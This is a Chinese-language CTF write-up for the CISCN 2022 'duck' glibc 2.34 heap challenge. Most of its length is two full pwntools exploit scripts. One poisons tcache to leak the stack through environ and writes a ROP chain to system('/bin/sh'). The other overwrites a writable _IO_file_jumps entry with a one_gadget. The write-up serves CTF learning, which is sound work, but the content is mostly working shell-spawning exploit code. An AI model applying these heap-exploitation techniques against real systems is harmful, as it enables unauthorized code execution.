[CISCN 2022 华东北]duck

最后更新于 2024-11-16 708 字 预计阅读时间: 3 分钟


elf堆,libc 2.34,没开canary,两种解法

  • 泄露栈地址打edit的返回地址到system
  • 劫持_IO_new_file_overflow到og

方法一

和前文bigduck一样直接放exp

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./pwn"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
    p=process(filename)
    gdb.attach(p,"b *$rebase(0x13FA)")
else:
    p=remote("node4.anna.nssctf.cn",28589)

elf=ELF(filename)

context.arch=elf.arch
select=b"Choice: "
libc=ELF("./libc.so.6")
def add():
    p.sendlineafter(select, b"1")
    # p.sendlineafter(b"Idx: ", str(index).encode())
    # p.sendlineafter(b"Size: ", str(len(content)).encode())
    # p.sendlineafter(b"Content: ", content)


def edit(index,content):
    p.sendlineafter(select, b"4")
    p.sendlineafter(b"Idx: ", str(index).encode())
    p.sendlineafter(b"Size: ", str(len(content)).encode())
    p.sendlineafter(b"Content: ", content)

def free(index):
    p.sendlineafter(select, b"2")
    p.sendlineafter(b"Idx: ", str(index).encode())


def show(index):
    p.sendlineafter(select, b"3")
    p.sendlineafter(b"Idx: ", str(index).encode())

add()
add()
add()
for x in range(7):
    add()
for x in range(7):
    free(x+3)
free(1)
show(1)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1F2CC0
env = libc.sym["environ"] + libc_base
show(3)
key=u64(p.recvuntil(b"\nDone",drop=True)[-5:].ljust(8,b"\x00"))
heap_base=key<<0xc
print("libc_base----->"+hex(libc_base))
print("heap_base----->"+hex(heap_base))
pop_rdi=libc_base+0x000000000002daa2

edit(9,p64(key^env))
add()
add()
show(11)
stack=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x198
print("stack----->"+hex(stack))

free(0)
free(1)
edit(1,p64(stack^key))
add()
add()
#gdb.attach(p,"b *$rebase(0x12D5)")
edit(13,p64(pop_rdi)*2+p64(libc_base+0x000000000002cb99)+p64(pop_rdi)+p64(libc_base+next(libc.search(b"/bin/sh")))+p64(libc_base+libc.sym["system"]))
#gdb.attach(proc.pidof(p)[0])
p.interactive()

方法二

发现__GI__IO_file_jumps可写,正好edit完有个puts调用_IO_new_file_overflow和__SI_IO_new_file_xsputn_12,我们劫持_IO_new_file_overflow即可

和劫持envrion一样tcache attack写入p64(0)*3+p64(og)即可

exp

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./pwn"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
    p=process(filename)
    #gdb.attach(p,"b *$rebase(0x1521)")
else:
    p=remote("node4.anna.nssctf.cn",28589)
#libc=ELF("./libc-2.23.so")

elf=ELF(filename)

context.arch=elf.arch
select=b"Choice: "
libc=ELF("./libc.so.6")
def add():
    p.sendlineafter(select, b"1")
    # p.sendlineafter(b"Idx: ", str(index).encode())
    # p.sendlineafter(b"Size: ", str(len(content)).encode())
    # p.sendlineafter(b"Content: ", content)


def edit(index,content):
    p.sendlineafter(select, b"4")
    p.sendlineafter(b"Idx: ", str(index).encode())
    p.sendlineafter(b"Size: ", str(len(content)).encode())
    p.sendlineafter(b"Content: ", content)

def free(index):
    p.sendlineafter(select, b"2")
    p.sendlineafter(b"Idx: ", str(index).encode())


def show(index):
    p.sendlineafter(select, b"3")
    p.sendlineafter(b"Idx: ", str(index).encode())


add()
add()
add()
for x in range(7):
    add()
for x in range(7):
    free(x+3)
free(1)
show(1)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1F2CC0
io_jump = libc.sym["_IO_file_jumps"] + libc_base
show(3)
key=u64(p.recvuntil(b"\nDone",drop=True)[-5:].ljust(8,b"\x00"))
heap_base=key<<0xc
print("libc_base----->"+hex(libc_base))
print("heap_base----->"+hex(heap_base))
pop_rdi=libc_base+0x000000000002daa2

edit(9,p64(key^io_jump))
add()
add()
edit(11,p64(0)*3+p64(libc_base+0xda864))



#gdb.attach(proc.pidof(p)[0])
p.interactive()

不过一般来说跳表都是不可写的,为什么这个可以写

此作者没有提供个人介绍。
最后更新于 2024-11-16